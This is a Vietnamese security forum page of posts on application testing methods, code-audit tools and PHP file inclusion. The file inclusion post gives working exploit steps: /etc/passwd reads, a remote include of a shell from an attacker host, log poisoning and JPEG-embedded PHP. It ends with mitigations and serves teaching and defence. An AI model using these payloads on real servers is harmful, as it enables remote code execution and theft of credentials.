banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: seamoun  XML
Profile for seamoun Messages posted by seamoun [ number of posts not being displayed on this page: 22 ]
 
GIỚI THIỆU
Trong quá trình tiếp cận và kiểm tra một ứng dụng liệu có bị các lỗi bảo mật hay không?, có rất nhiều phương pháp tiếp cận. Có thể phân chia thành 3 loại như sau:
  1. Phương pháp kiểm tra hộp đen (Blackbox testing)
  2. Phương pháp kiểm tra hộp trắng (Whitebox testing)
  3. Phương pháp kiểm tra hộp xám (Greybox testing)

Mỗi phương pháp tiếp cận đều có ưu và nhược điểm của chúng. Chúng ta sẽ lần lượt đi qua từng pháp một. Lưu ý, ở đây seamoun chỉ đứng trong phạm vi nhỏ là kiểm tra lỗi bảo mật của ứng dụng, chứ không đặt mình trong quy trình phát trình ứng dụng. Bởi nếu đặt trong quy trình phát triển ứng dụng và kiểm tra ứng dụng thì có rất nhiều phần khác nhau và cũng có nhiều cách kiểm tra khác nhau đối với ứng dụng.
1)Whitebox testing
Theo seamoun đơn giản nhất trong việc định nghĩa whitebox testing là quá trình kiểm tra ứng dụng khi người kiểm tra ứng dụng đóng vai trò là người phát triển ứng dụng đó. Vậy trong vai trò là người phát triển ứng dụng để kiểm tra ứng dụng có bị lỗi hay không thì có một số cách tiếp cận như sau:
a)Kiểm tra mã nguồn
Kiểm tra mã nguồn là việc người kiểm tra quan sát mã nguồn do người phát triển ứng dụng. Việc quan sát này có thể thực hiện đơn giản bằng việc mở mã nguồn đọc hiểu và quan sát điểm nào có khả năng gây lỗi bảo mật cho ứng dụng. Bạn sẽ đặt câu hỏi là một ứng dụng với hàng trăm dòng lệnh và có cấu trúc phức tạp, do vậy việc đọc hiểu và kiểm tra lỗi bảo mật cho toàn bộ ứng dụng theo cách chỉ quan sát thuần túy thì rất khó đạt được đúng không ? Cho nên cũng phải có công cụ bổ trợ, trợ giúp cho người kiểm tra phân loại, tiếp cận nhanh chóng những điểm mà ứng dụng có khả năng bị lỗi.
Ví dụ một đoạn mã C như sau:
Code:
#include <string.h>
int main (int argc , char **argv)
{
char buffer[10];
strcpy(buffer,argv[1]);
}

Nhìn đoạn mã trên thì chắc ai cũng biết có khả năng bị lỗi tràn bộ đệm (buffer overflow) nhưng quan trọng ở chỗ chúng ta phải đọc cả một ứng dụng để tìm ra những hàm có khả năng gây lỗi (strcpy) như trên nếu như không có bất kỳ sự trợ giúp công cụ nào. Do vậy, công cụ scan code ra đời để scan toàn bộ mã nguồn ứng dụng dựa trên tập các hàm có nguy cơ gây ra lỗi bảo mật và xác định vị trí hàm đó được sử dụng trong ứng dụng giúp người kiểm tra có thể tập trung ngay tại vị trí mà công cụ scan code phát hiện.
b)Công cụ và phân loại
Phân loại công cụ bổ trợ trong whitebox testing có thể chia thành 3 nhóm công cụ sau:
  1. Compile time checkers
  2. Source code browsers
  3. Automated source code auditing

Compile time checkers là quá trình kiểm tra ứng dụng lúc biên dịch. Ví dụ tùy chọn /analyze trong biên dịch Microsoft Visual C++. Vậy các bạn sẽ hỏi là kiểm tra này có tác dụng gì ? có liên quan gì đến kiểm tra lỗi bảo mật ? Mỗi trình biên dịch có rất nhiều tùy chọn khác nhau, có những tùy chọn liên quan đến bảo vệ ứng dụng, tối ưu hóa ứng dụng, ... Cho nên việc tìm hiểu và lựa chọn các tùy chọn trong lúc biên dịch ứng dụng cũng rất quan trọng. Ví dụ như tùy chọn /GS hoặc /SafeSEH là những tùy chọn điển hình trong trình biên dịch C++, giúp ứng dụng không bị khai thác trong trường hợp bị lỗi buffer overflow (Vẫn có thể bypass smilie smilie được nhưng trong phạm vị bài viết này seamoun không đề cập đến smilie).
Source code browsers là những công cụ mà trợ giúp người kiểm tra trong quá trình quan sát mã nguồn ứng dụng một cách trực quan. Những công cụ này sẽ tìm kiếm những hàm có khả năng gây ra lỗi bảo mật, tạo các tham chiếu liên quan đến hàm sử dụng, phân loại và sắp xếp quá trình biến sử dụng, cung cấp các kiếm kiếm nâng cao có thể truy xuất nhanh chóng đến tất cả tham chiếu của hàm đang quan tâm, ...
Automated source code auditing cũng giống như trên là scan mã nguồn nhưng có thêm phần tự động nhận diện các khu vực lỗi. Tương ứng với mỗi công cụ này cũng đòi hỏi đầu vào phải là ngôn ngữ mà ứng dụng sử dụng.
Một số công cụ thương mại của một số hãng có thể kể đến như:
Tên Địa chỉ website
Fortify http://www.fortifysoftware.com
Coverity http://www.coverity.com
KlocWork http://www.klocwork.com
GrammaTech http://www.grammatech.com 

Một số công cụ miễn phí:
Tên Ngôn ngữ OS Link
RATS C,C++,Perl,PHP,Python Unix, Win32 http://www.fortifysoftware.com/security-resources/rats.jsp
ITS4 C,C++ Unix, Win32 http://www.cigital.com/its4

Splint C Unix, Win32 http://clint.cs.virginia.edu

Flawfinder C, C++ Unix http://www.dwheeler.com/flawfinder

Jlint Java Unix, Win32 http://jlint.sourceforge.net

CodeSpy Java Java http://www.owasp.org/software/labs/codespy.html 


Những ưu điểm và nhược điểm khi tiếp cận và kiểm tra lỗi bảo mật bằng whitebox testing:
  1. Tính bao phủ toàn diện: Điều này thì không bàn cãi rồi, bởi vì người kiểm tra có mã nguồn của ứng dụng đó. Quan trọng là biết cách tổ chức và tiếp cận như thế nào cho hợp lý.
  2. Độ phức tạp cao: Với khối lượng lớn các mã dòng lệnh và mối liên hệ phức tạp trong ứng dụng thì rõ ràng việc tiếp cận bằng quan sát mã nguồn không phải đơn giản.
  3. Tính sẵn sàng: Không phải ứng dụng nào cũng dễ dàng có được mã nguồn phát triển cho người kiểm tra có thể quan sát.

2)Blackbox testing
Theo seamoun đơn giản nhất cho việc định nghĩa blackbox testing là người kiểm tra đóng vai trò là người dùng cuối (tức là người sử dụng ứng dụng). Lúc này thì người kiểm tra tương tác với dụng thông qua các đầu vào ứng dụng cung cấp và quan sát đầu ra do ứng dụng trả về. Người kiểm tra sẽ không biết nội tại bên trong ứng dụng sẽ xử lý thế nào? (Vì không có mã nguồn ứng dụng sao mà biết nó viết cái gì bên trong được !!!). Do đó người kiểm tra phát hiện các lỗi bảo mật trên ứng dụng thông qua việc đề trình các dữ liệu đầu vào và quan sát dữ liệu đầu ra và từ đó đưa ra kết luận. Cũng tương tự như đối với phương pháp whitebox testing thì người kiểm tra có thể duyệt hết các chức năng của ứng dụng bằng phương pháp thủ công (tức là chỗ nào ứng dụng yêu cầu nhập thì nhập, chỗ nào yều cầu click thì click, ...smilie smilie smilie) không có sự hỗ trợ của công cụ. Đối với mỗi điểm vào của ứng dụng thì người kiểm tra phải suy nghĩa những dữ liệu nào cho đầu vào có thể làm cho ứng dụng phản ứng sai ý nghĩa vốn có của nó. Ví dụ như muốn kiểm tra lỗi SQL Injection trên một ứng dụng Web thì người kiểm tra cần phải đệ trình với dữ liệu đầu vào là dấu ‘ , vì sao phải đệ trình dấu ‘ ?. (Các bạn tự tìm hiểu ở các topic khác về SQLi, seamoun không đề cập sâu thêm ở đây !).
Nếu phương pháp whitebox testing có công cụ tự động hỗ trợ người kiểm tra thì phương pháp blackbox testing cũng có những công cụ như vậy để giúp người kiểm tra có thể xác định nhanh chóng các điểm vào ứng dụng và cũng ghi nhận đầu ra sau khi đã đệ trình dữ liệu được định nghĩa trước đó, sau đó đưa ra kết luận liệu ứng dụng có bị lỗi hay không ? Quá trình sử dụng công cụ tự động trong việc blackbox testing có thể gọi là quá trình fuzzing. Các công cụ fuzzing, đối tượng fuzzing và các loại fuzzing seamoun sẽ lần lượt giới thiệu sau !!!
Một số ưu điểm và nhược điểm của blackbox testing có thể kể đến như:
  1. Tính sẵn sàng cao: tức là không nhất thiết phải chờ có mã nguồn thì mới có thể kiểm tra được ứng dụng, có thể kiểm tra bất cứ ứng dụng nào !!!
  2. Tính sử dụng lại cao: tức là khả năng sử dụng lại việc kiểm tra đối với ứng dụng. Ví dụ một công cụ dùng để kiểm tra đối với ứng dụng FTP A thì có thể dùng công cụ đó đối với việc kiểm tra ứng FTP B hay FTP C vẫn bình thường, không phân biệt rõ ràng ứng dụng đó như thế nào ?
  3. Đơn giản dễ thực hiện không đòi hỏi phải có nhiều quy trình phức tạp, ...
  4. Tính bao phủ hạn chế là một trong những hạn chế lớn nhất của blackbox testing. Tức là phải xây dựng nhiều tình huống kiểm tra cho ứng dụng và phải quét hết tất cả các trường hợp đầu vào mà ứng dụng sử dụng, như vậy mới triệt để trong việc kiểm tra ứng dụng có bị lỗi hay không?

3)Greybox testing
Hai phương pháp blackbox testing và whitebox testing thì đã rõ rồi, phân biệt rất rõ ràng. Một bên là tiếp cần từ mã nguồn ứng dụng một bên là tiếp cận ở các điểm vào của ứng dụng sử dụng. Vậy còn greybox testing là gì ? Nghe cái tên là thấy nửa đực nửa cái rồi ! Mà thật sự quả đúng như vậy smilie smilie smilie. Greybox testing là quá trình kiểm tra một ứng dụng ở dạng “lưng chừng” tức là một ứng dụng có thể chúng ta không có mã nguồn mà nó phát triển nhưng có thể dịch và đọc mã nguồn ở cấp độ thấp (ngôn ngữ assembly) của ứng dụng đó để tìm ra lỗi bảo mật. Ví dụ một ứng dụng phát triển bằng ngôn ngữ C++, sau khi biên dịch thành một ứng dụng để có thể thực thì việc dịch ngược ứng dụng đó trở lại chính ngôn ngữ C++ như nguyên bản ban đầu thì rất khó và gọi quá trình dịch ngược này là decompiler. Hoặc có thể dịch ứng dụng đó sang assembly. Như các bạn đã biết thì mọi ứng dụng đều phải đưa về mã máy để CPU xử lý, cho nên việc dịch từ ứng dụng về assembly luôn luôn là có thể. Quá trình này có thể gọi là disassembler.
Một số công cụ nổi tiếng có thể kể đến trong quá trình disassembler như:

Tên Link
IDA Pro http://www.hex-rays.com/idapro/
Ollydbg http://www.ollydbg.de/
Windbg http://www.microsoft.com/whdc/devtools/debugging/default.mspx
ImmunityDebugger http://www.immunityinc.com/products-immdbg.shtml 


Muốn tìm lỗi bảo mật của ứng dụng nào thì hiển nhiên cần download công cụ disassemler ứng dụng đó rồi ngồi đọc mã assembly để tìm lỗi thôi !!! Các bạn sẽ đặt vấn đề là mã nguồn nguyên thủy đọc còn chưa xong, huống gì đọc assembly hoa cả mắt, ... smilie smilie smilie. Trên thực tế các researcher tìm kiếm bug toàn làm thế các bạn ạ ! Làm gì sẵn có mã nguồn nguyên thủy để mà đọc. Vậy các bạn sẽ đặt thêm vấn đề là hai phương pháp blackbox testing và whitebox testing nó có công cụ tự động làm thì greybox testing có công cụ tự động như thế không ? Hoàn toàn có các bạn à, sau đây là một số công cụ tự động thực hiện:

Tên Vendor
LogiScan LogicLibrary
BugScam Halvar Flake
Inspector HB Gary
SecurityReview Veracode
BinAudit SABRE Security 


Một số ưu điểm và nhược điểm của phương pháp greybox testing như sau:
  1. Tính sẵn sàng cao: nếu như thực hiện BinAudit thì luôn luôn sẵn sàng nếu chúng ta có ứng dụng
  2. Làm tiền đề cho blackbox testing: việc thực hiện greybox testing giúp người kiểm tra xác định rõ hơn vị trí, kiểu dữ liệu đề trình trong quá trình thực hiện blackbox testing.
  3. Hạn chế của greybox là phức tạp, để có thể đọc hiểu và tìm ra lỗi thì đòi hỏi người kiểm tra lỗi phải có background tốt về kiến thức lập trình, hệ thống, phân tích, phán đoán, ...

4)Kết luận
Các bạn lưu ý rằng công cụ vẫn là công cụ, nó chỉ giúp người kiểm tra một phần nào đó, không thể thay thế hoàn toàn được. Người kiểm tra phải là trung tâm chính và đóng vai trò quyết định trong việc tìm các lỗi bảo mật trên ứng dụng.
Thông qua bài viết này seamoun muốn các bạn có nhìn tổng quát về phương pháp tiếp cận về đánh giá các lỗi bảo mật trên ứng dụng. Các nhận xét của seamoun mang tính chất cá nhân, chủ quan. Bạn nào có ý kiến xin chia sẻ và đóng góp.
2) RATS (Rough Auditing Tool for Security)
Công cụ RATS cũng là một trong những công cụ thực hiện rà soát mã nguồn đối với một số ứng dụng được viết bằng các ngôn ngữ như C, C++, Perl, PHP, Python và Ruby do Secure Software Inc phát triển. Có download miễn phí công cụ tại https://www.fortify.com/ssa-elements/threat-intelligence/rats.html). Cộng cụ này cũng chỉ dựa trên tập các hàm mà có nguy cơ gây ra lỗi bảo mật đối với dụng và nó thực hiện scan với tốc độc đáng nể !!!. Sau khi thực hiện chạy công cụ thì công cụ sẽ đưa ra một danh sách các hàm và vị trí trong mã nguồn, giúp người kiểm tra có thể nhanh chóng tập trung ra soát lại các hàm mà RATS đưa ra, kiểm tra liệu khi sử dụng các hàm đó đã an toàn hay chưa ? Một số tùy chọn trong công cụ RATS
Code:
usage: rats [options] [file]...
Options explained:
-d <filename>, --db <filename>, --database <filename>
Specifies a vulnerability database to be loaded. You may
have multiple -d options and each database specified will
be loaded.
-h, --help Displays a brief usage summary
-i, --input Causes a list of function calls that were used which
accept external input to be produced at the end of the
vulnerability report.
-l <lang>, --language <lang>
Force the specified language to be used regardless of
filename extension. Currently valid language names are
"c", "perl", "php", "python" and "ruby".
-r, --references
Causes references to vulnerable function calls that are not
being used as calls themselves to be reported.
-w <level>, --warning<level>
Sets the warning level. Valid levels are 1, 2 or 3.
Warning level 1 includes only default and high severity
Level 2 includes medium severity. Level 2 is the default
warning level 3 includes low severity vulnerabilities.
-x Causes the default vulnerability databases (which are in
the installation data directory, /usr/local/lib by default)
to not be loaded.
-R, --no-recursion
Disable recursion into subdirectories.
--xml Cause output to be in XML
--html Cause output to be in HTML
--follow-symlinks
Evaluate and follow symlinks.

3) Spike Php Security Audit Tool
Công cụ spikephpSecAudit do SpikeSource phát triển và hoàn toàn miễn phí (có vẻ dự án bị dừng lại từ năm 2007, nhưng không sao, vẫn còn dùng tốt smilie smilie smilie). Có thể download tại http://developer.spikesource.com/projects/phpsecaudit/) Ngoài ra nhóm này cũng có một số dự án hay liên quan, các bạn có thể vào trang web của nhóm này để tham khảo. Thực hiện kiểm tra mã nguồn rất đơn giản, chỉ cần download về giải nén và thực hiện:
php.exe run.php <thư mục chứa mã nguồn hoặc tập tin cần kiểm tra>
4) Graudit
Graudit cũng tương tự như công cụ RATS hỗ trợ rà soát nhiều mã nguồn. Tuy nhiên công cụ này chỉ chạy trên môi trường Linux. Các bạn có thể download tại đây http://www.justanotherhacker.com/projects/graudit.html)
5) RIPS
Một công cụ tốt nhất về rà soát và đánh giá mã nguồn ứng dụng Web phát triển từ ngôn ngữ PHP. Thông tin chi tiết và download công cụ các bạn có thể truy cập tại đây http://sourceforge.net/projects/rips-scanner/


Sở dĩ nó là công cụ tốt nhất trong việc rà soát mà nguồn bởi vì công cụ RIPS không đơn giản là dựa vào tập nhận diện các hàm có thể xảy ra lỗi như là các công cụ đã giới thiệu RATS, GRAUDIT,AppCodeScan. Cách tiếp cận và kiểm tra mã nguồn dựa trên việc xác định các điểm vào của ứng dụng, từ đó thực hiện kiểm tra đối với những đối số đầu vào này trong mã nguồn ứng dụng (giống như cách tiếp cận mà seamoun đã giới thiệu ở trên)
Ngoài những công cụ trên thì còn rất nhiều công cụ được phát triển nhằm bổ trợ cho việc rà soát mã nguồn. Toàn bộ những công cụ mà seamoun giới thiệu ở trên là miễn phí. Các công cụ thương mại thì seamoun thấy hình ảnh quảng cáo rất đẹp và có nhiều tính năng nhưng không biết nó thế nào ? smilie smilie smilie. Công cụ chỉ vẫn là công cụ nó chỉ giúp cho người kiểm tra một phần nào đó, không thể có một công cụ nào đủ thông minh mà làm thay thế hoàn toàn con người được. Nếu có một công cụ như thế chắc anh em bị đuổi việc hết smilie smilie smilie. Việc kiểm tra mã nguồn đòi hỏi người kiểm tra phải có cách quan sát tinh tế + độ “quái” khi cần thiết.
I. Giới thiệu
Nhận biết lỗi ứng dụng Web thông qua quá trình quan sát mã nguồn không phải là một quá trình đơn giản. Mã nguồn của một ứng dụng Web vô cùng phức tạp bao gồm nhiều thành phần (biến, hàm, đối tượng, lớp, …). Cho nên phải có phương pháp tiếp cận phù hợp thì mới có thể kiểm tra đánh giá an toàn ứng dụng Web một cách triệt để thông qua việc kiểm tra mã nguồn của ứng dụng đó.

Một câu hỏi đơn giản là: “Người kiểm tra sẽ làm gì với mã nguồn Web ? Anh ta sẽ bắt đầu từ đâu ? Sẽ bắt đầu như thế nào ? … “. Có một số cách tiếp cận như:
1) Xây dựng một công cụ tự động scan toàn bộ mã nguồn và dựa trên tập nhận biết các điểm yếu để đưa ra cảnh báo cho người kiểm tra.

2) Nhận biết các điểm vào của ứng dụng và thực hiện tìm kiếm mối quan hệ giữa điểm vào của ứng dụng và mã nguồn ứng dụng.

Ưu điểm của phương pháp 1 thì rất nhanh trong việc tìm kiểm tra. Nhưng nhược điểm lớn nhất của nó là không triệt để, vì chỉ đơn thuần dựa vào tập nhận biết điểm yếu ban đầu. Phương pháp thứ 2 thì triệt để hơn nhưng nhược điểm của nó là thời gian trong việc kiểm tra mặc dù trong quá trình tím kiếm mỗi liên hệ giữa điểm vào ứng dụng và mã nguồn có công cụ bổ trợ.

Theo seamoun thì tốt nhất nên vận dụng cả hai. Sử dụng phương pháp 1 trước để nhận định sơ bộ về tình hình của mã nguồn. Liệt kê nhanh chóng các điểm yếu có thể có do công cụ nhận diện. Tiếp đến sử dụng phương pháp 2 để xác minh và tìm thêm các lỗi mới. Trong quá trình kiểm tra, theo seamoun thì phải đặt ứng dụng Web trong cái tổng thể của nó. Tức là tự bản thân một ứng dụng Web thì không thể chạy được nếu như thiếu các thành phần khác như máy chủ phục vụ web, database, … Nếu như đặt ứng dụng Web trong cái tổng thể của nó thì trước tiên chúng ta phải nhận diện những thành phần liên quan của nó. Nhận diện các thành phần liên quan ở đây là máy chủ phục vụ web, cở sở dữ liệu mà ứng dụng sử dụng và các thành phần bổ trợ khác ví dụ như tường lửa cho ứng dụng, tài nguyên khác, … Bước tiếp theo nhận diện các điểm vào của ứng dụng ? Điểm vào của ứng dụng là gì? Tức là thành phần mà ứng dụng Web tương tác (ví dụ như các phương thức GET/POST, các forms, chuỗi truy vấn, cookies,…) với người dùng cuối. Sau khi đã xác định tất cả các điểm vào của ứng dụng, bước tiếp theo sẽ thực hiện truy tìm mối liên hệ giữa các điểm vào của ứng dụng với mã nguồn Web sử dụng. Quá trình này rất quan trọng và điểm mấu chốt để tìm ra lỗi của ứng dụng. Nên có một công cụ bổ trợ để trợ giúp quá trình lần tìm mối liên hệ này. Công cụ bổ trợ này phải phù hợp với từng đặc thù mã nguồn ứng dụng Web. Bởi vì, hiện tại có rất nhiều mã nguồn phát triển ứng dụng Web (ASP.NET, PHP, Perl, JSP, …) nên cách tiếp cận nó cũng phải khác nhau về mặt cấu trúc mà từng ngôn ngữ sử dụng. Không thể một công cụ trace code cho ASP.NET lại dùng cho ngôn ngữ PHP được smilie smilie smilie. Nếu như các công cụ bổ trợ này mà không phù hợp với việc trace code cho ứng dụng Web mà chúng ta đang kiểm tra thì chúng ta cũng phải “è cổ” code riêng một cái sử dụng riêng cho ứng dụng đó. Sau khi đã có được mối liên hệ giữa các điểm vào của ứng dụng thì nên biểu diễn nó bằng sơ đồ quan hệ (dùng hình vẽ hay ký hiệu gì thì tùy miễn sao biểu diễn được mối quan hệ là được!!!). Việc mã xử lý các điểm vào sẽ rất rõ ràng ở giai đoạn này và sẽ phát hiện mã sử dụng có an toàn hay không cho điểm vào đó? Nếu như không an toàn thì đưa ra cách khắc phù triệt để và toàn diện. Có thể tóm tắt tất cả quá trình thực hiện như sau:
1) Xác định các thành phần liên quan đến ứng dụng
2) Xác định các điểm vào của ứng dụng
3) Tìm mối liên hệ giữa các điểm với mã nguồn của ứng dụng
4) Xây dựng sơ đồ các mối liên hệ giữa các điểm vào với mã nguồn của ứng dụng
5) Nhận biết điểm yếu và đưa ra cách khắc phục triệt để và toàn diện.
II. Áp dụng
Phần này seamoun sẽ giới thiệu một số công cụ tiêu biểu được sử dụng trong quá trình nhận biết lỗi bảo mật.
1) Application Code Scanning and Tracing tool (Blueinfy-AppCodeScan) có thể tải công cụ miễn phí tại đây ( http://blueinfy.com/AppCodeScan.zip)


Sau khi lựa chọn thư mục có chứa mã nguồn ứng dụng Web cần scan thì phải thực hiện lựa chọn rule (lựa chọn các kiểu cần áp dụng cho quá trình scan).
Công cụ này có một tiện ích nhỏ giúp trace code (có thể trace biến hàm). Công cụ này chỉ thực hiện scan mã nguồn dựa trên các tập điểm yếu xây dựng sẵn để nhận biết các điểm có thể gây ra lỗi bảo mật trong ứng dụng Web.
(Sẽ giới thiệu các công cụ khác trong phần tiếp theo ...)
I. GIỚI THIỆU
Code:
<?php
include("config.php");
?>

Đoạn mã trên sẽ chèn nội dung của file config.php. Và có thể thực hiện chèn nội dung động nếu cung cấp một biến như sau:
Code:
<?php
include($page);
?>

Lưu ý: Nếu trong cấu hình của PHP (php.ini), register_global mà thiết lập off thì biến $page không được coi như là một biến toàn cục và do vậy nó không thể thay đổi thông qua URL. Và câu lệnh include sẽ phải là $_GET[‘page’], $_POST[‘page’], $_REQUEST[‘page’] hoặc $_COOKIE[‘page’] thay vì $page.

Giả sử trường hợp register_global được thiết lập và lúc này chúng ta sẽ thực hiện chèn trên URL với đối số bất kỳ, khi đó đoạn mã sẽ thực hiện include file mà chúng ta chỉ định, nếu không tồn tại thì sẽ báo lỗi nhưng vẫn thực hiện script. Một hàm khác của PHP đó là require hoặc require_once cũng có tác dụng tương tự như include nhưng nếu xuất hiện lỗi thì script sẽ ngừng. Sự khác biệt giữa include_once và include hoặc require_once và require là ở chỗ require_once hay include_once là ngăn chặn việc include hay require 1 file mà nhiều lần.

Kiểm tra file robots.txt của website và thực hiện kiểm tra thử website đó với file robots.txt. Ví dụ www.example.com/page=robots.txt để xem cách ứng xử của server về câu truy vấn này.

Có thể sử dụng Google CodeSearch để tìm kiếm các lỗi về File Inclusion bằng biểu thức chính qui như sau :
http://www.google.com/codesearch
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE)

II. KHAI THÁC
1. Null-Byte
Code:
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}

Nếu thực hiện index.php?page=/etc/passwd thì khi chèn vào thì nó sẽ là /etc/passwd.php, không đúng như chúng ta mong muốn, do vậy để khai thác và ngắt phần “.php” sử dụng %00(Null Byte), lúc này URL sẽ là index.php?page=/etc/passwd%00. Cách khai thác này chỉ có tác dụng khi magic_quotes_gpc=Off

2. Remote File Include[/i]
Nếu trong cấu hình của file php.ini mà allow_url_open=On và allow_url_include=On thì có thể thực hiện gộp file từ xa và trong nội dung file từ xa này có thể chứa các mã độc. Ví dụ
Code:
http://www.example.com/demo/index.php?page=http://www.hackerexample.com/shell.txt?

3. Local File Inclusion
Trường hợp mà allow_url_fopen =Off thì chúng ta không thể khai thác thông qua url từ xa, lúc này khai thác sẽ dựa trên local file inclusion. Khai thác local file cho phép chúng ta đọc các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf, .htaccess, .htpasswd hoặc bất kỳ file cấu hình quan trọng nào.

Ví dụ như có được thông tin từ /etc/passwd, kẻ tấn công có thể biết được các username có trên server và thực hiện bruteforce, nếu kẻ tấn công có khả năng truy cập shadow thì nguy hiểm hơn nhưng /etc/shadow thì chỉ có root mới có khả năng truy cập và đọc được file này.

Ví dụ một số file nhạy cảm mà kẻ tấn công luôn muốn truy cập
a. httpd.conf: Thực hiện đọc file này để có được thông tin về error_log, access_log, ServerName, DocumentRoot, …

b. .htaccess và .htpasswd: Giả sử có một thư mục admin được bảo vệ bởi htaccess thì chúng ta không thể truy cập được các file .htaccess và .htpasswd trực tiếp, nhưng nếu bị lỗi local file inclusion thì có thể đọc và có được thông tin về username và password được thiết đặt ở trong những file này.

c. Khai thác cục bộ
Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local file inclusion. Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng một server với example1.com thì có thể khai thác site example1.com này thông qua như sau:
Code:
http://www.example1.com/index.php?page=/home/example2/public_html/images/php.jpg

d. Khai thác sử dụng Log Files
Chuyện gì sẽ xảy ra nếu chúng ta đệ trình với URL như sau
Code:
http://www.example1.com/index.php?page=<? echo phpinfo(); ?>

Tất nhiên site sẽ thông báo lỗi bởi vì file <? echo phpinfo(); ?> không tồn tại, và khi đó trong error_log của Apache nó sẽ lưu thông tin về lỗi này như sau
192.168.1.14 - - [15/Jul/2009:17:54:01 +0700] "GET /demo/index.php?page=%3C?%20echo%20phpinfo();%20?%3E HTTP/1.1" 200 492 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5" 

Như vậy trong file log đã encode URL mà chúng ta đệ trình, do vậy chúng ta cần phải gửi request với đoạn code sau:
Code:
<?php
$res = '';
$fp = fsockopen('127.0.0.1', 80);
if(!$fp){
echo "No connection";
}
fputs($fp, "GET /demo/index.php?page=<?php echo phpinfo();?> HTTP/1.1\r\n");
fputs($fp, "Host: 127.0.0.1\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
}
echo $res;
?>

Sau khi thực hiện gửi request với đoạn mã như trên, thì hệ thống log sẽ ghi vào file log và chúng ta có thể thực hiện khai thác bằng cách:
http://example.com/demo/index.php?page=<đường dẫn đến file log>
Như vậy với việc đệ trình URL trên nó sẽ thực thi lệnh có trong file log

e. Đặt PHP Script trong file JPEG
Trong file jpg thì có phần Exif là phần đầu của file ảnh JPEG, mà nó ghi thông tin về, độ phân giải, ngày tạo, comment, … chúng ta có thể thực hiện chèn PHP script vào phần comment của file JPEG bằng công cụ jhead như sau:
./jhead –ce hack.jpg, nó sở mở vi cho chúng ta soạn thảo phần comment cho file JPEG, ở đây ta lưu comment với nội dung là <? phpinfo(); ?>. Và thực hiện upload ảnh lên server, nếu như server đó bị lỗi local file inclusion thì có thể thực hiện http://www.example.com/index.php?page=hack.jpg, khi đó mã PHP trong hack.jpg sẽ thực thi.

f. Lỗi trong khi sử dụng các script để lưu log
Ví dụ một đoạn mã sau lưu tấn công SQL Injection
Code:
<?
$REQ = print_r($_REQUEST,true);
$ip = 'IP: '.$_SERVER['REMOTE_ADDR'];
$time = 'Date: '.date("d.m.y - H:i:s");
$ref = 'Referer: '.$_SERVER['HTTP_REFERER'];
$browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT'];
if(eregi('UNION',$REQ) && eregi('SELECT',$REQ)){
$fp = fopen("attacks.txt","a+");
fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n");
fclose($fp);
header('Location: http://www.google.com');
}
?>

Khi đó mọi hoạt động tấn công SQL Injection sẽ được lưu ở trong file attack.txt, tuy nhiên nếu kẻ tấn công đệ trình với URL như:
UNION <? phpinfo(); ?>. Khi đó trong file log sẽ chứa thông tin về Reference và lúc này nếu server bị lỗi local file inclusion sẽ thực hiện được đoạn mã PHP với đệ trình sau:
http://example.com/index.php?page=attack.txt

g. Thực hiện PHP Code trong file /proc
Mỗi tiến trình có một file trong thư mục /proc mà dùng để giao tiếp giữa kernel và user, tương ứng với mỗi thư mục mang số hiệu PID của mỗi tiến trình sẽ lưu thông tin về mỗi tiến trình mà nó thực hiện. Và có một file /proc/self/environ lưu thông tin về cấu hình mà nó đang hiện hành thực thi trên file mà không cần quan tâm PID. Do vậy nếu sử dụng Firefox để mở thì nó sẽ hiển thị thông tin liên quan đến Browser như là HTTP_USER_AGENT và HTTP_REFERER. Khi đó nếu website bị lỗi thì có thể thực hiện thiết đặt có chứa mã PHP và thực hiện gộp file để thực thi mã PHP
http://example.com/index.php?page=/proc/self/environ

III. PHÒNG CHỐNG
Sử dụng hàm file_get_contents thay vì include đối với log bởi vì lúc này nó chỉ đọc nội dung của file mà không thực thi ngay cả đối với file php. Vô hiệu hóa hàm eval() trong PHP. Kiểm soát việc sử dụng require và include. Sử dụng đường dẫn tuyệt đối hơn là sử dụng .. hoặc / . Thiết đặt allow_url_fopen=off để chống RFI khi đó hàm file_get_contents cũng vô hiệu hóa theo đối với phiên bản PHP cũ < 5.2.0. Nếu sử dụng PHP 5.2.0 thì thiết đặt allow_url_open=on nhưng allow_url_include=off, và thiết đặt register_global=off và thậm chí thiết lập display_errors=off




I. Thuật toán Base64Encode
Thuật toán chia đầu vào thành những nhóm gồm 6bits (giá trị từ 0->63) và rồi chuyển chúng lại thành mã ASCII theo hình sau. Kỹ thuật coding này làm gia tăng kích thước file lên 33%, bởi vì 3 bytes trở thành 4 ký tự.


Lưu ý: Nếu như không đủ để gộp thành 6 thì thêm 0 cho đủ và có dấu = là ký tự đặc biệt để kết thúc trong trường hợp không đủ 3. Vì đầu vào theo encoding bằng base64 thì nó sẽ nhóm lần lượt 6 bit thành một và dựa theo bảng trên (64 kí tự) để quy đổi ngược lại ký tự.

Ví dụ:
‘A’ chuyển sang bit sẽ là 01000001
Nhóm 6 bit đầu sẽ trở thành 010000 còn dư 2 bit 01 thì thêm 0000 vào cho đủ 6 bit. Đối chiếu bảng trên ta có 010000 là Q. Vậy ký tự A sau khi encode base64 sẽ là QQ==. Sở dĩ có 2 dấu == là do, cứ 3 ký tự thông thường sẽ chuyển được 4 ký tự ở dạng Base64 và trường hợp này ko đủ nên xuất hiện hai dấu ==.

II. Kỹ thuật salt trong HASH.
Như ta đã biết MD5(haison) nó sẽ ra một HASH e9197849e07df68389b612875b22a03f (128 bits). Như vậy nếu có từ điển thì có thể so khớp hai HASH này với nhau nếu như trùng thì suy ngược lại chuỗi gốc. Để tránh tình trạng này thì có thể sử dụng kỹ thuật salt trong HASH như sau:
MD5(MD5(haison):key) như vậy HASH cuối cùng sẽ là kết quả của
MD5(e9197849e07df68389b612875b22a03f:key), như vậy khả năng mà e9197849e07df68389b612875b22a03f:key có trong từ điển là rất thấp.
